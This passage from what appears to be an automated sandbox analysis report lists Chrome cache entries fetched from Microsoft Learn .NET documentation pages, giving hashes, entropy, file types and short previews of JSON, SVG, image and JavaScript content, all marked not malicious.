AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
